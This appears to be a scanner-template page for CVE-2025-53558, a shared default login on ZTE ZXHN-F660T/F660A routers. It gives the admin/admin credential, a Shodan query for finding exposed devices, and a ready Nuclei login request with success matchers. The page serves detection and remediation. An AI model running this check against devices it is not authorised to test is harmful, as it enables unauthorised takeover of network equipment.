ZTE ZXHN-F660T/F660A - Default Credentials

highseverity

1.5%likelihood of exploitation, next 30 days

75%of all CVEs are less likely

Readycheck to confirm it

ZXHN-F660T and ZXHN-F660A provided by ZTE Japan K.K. use a common credential for all installations. With the knowledge of the credential, an attacker may log in to the affected devices.

Impact

Attackers with knowledge of common credentials can access ZTE device management interfaces, potentially gaining control over network equipment and configurations.

Fix

Change default credentials immediately and restrict access to the web management interface to trusted administrators only.

How to confirm it

Send: POST /
Positive when: contains in location "/start.ghtml" AND status 302 AND not contains "wrong username" or "User information is error"

Run it with nuclei: nuclei -id CVE-2025-53558 -u <target>

The full check

id: CVE-2025-53558

info:
  name: ZTE ZXHN-F660T/F660A - Default Credentials
  author: DhiyaneshDK
  severity: high
  description: |
    ZXHN-F660T and ZXHN-F660A provided by ZTE Japan K.K. use a common credential for all installations. With the knowledge of the credential, an attacker may log in to the affected devices.
  impact: |
    Attackers with knowledge of common credentials can access ZTE device management interfaces, potentially gaining control over network equipment and configurations.
  remediation: |
    Change default credentials immediately and restrict access to the web management interface to trusted administrators only.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53558
    - https://jvn.jp/en/jp/JVN66546573/
  metadata:
    shodan-query: title:"F660"
    verified: true
    max-request: 1
  tags: cve,cve2025,default-login,zte,vuln,vkev

variables:
  username: "admin"
  password: "admin"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}

        frashnum=&action=login&Frm_Logintoken=0&Username={{username}}&Password={{password}}

    matchers-condition: and
    matchers:
      - type: word
        part: location
        words:
          - "/start.ghtml"

      - type: status
        status:
          - 302

      - type: word
        part: body
        words:
          - "wrong username"
          - "User information is error"
        negative: true

References

Use this check only on systems you are authorised to test. Where the data comes from